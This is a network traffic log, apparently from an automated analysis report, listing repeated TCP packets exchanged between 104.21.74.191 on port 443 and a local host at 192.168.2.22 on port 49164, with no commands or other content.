Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
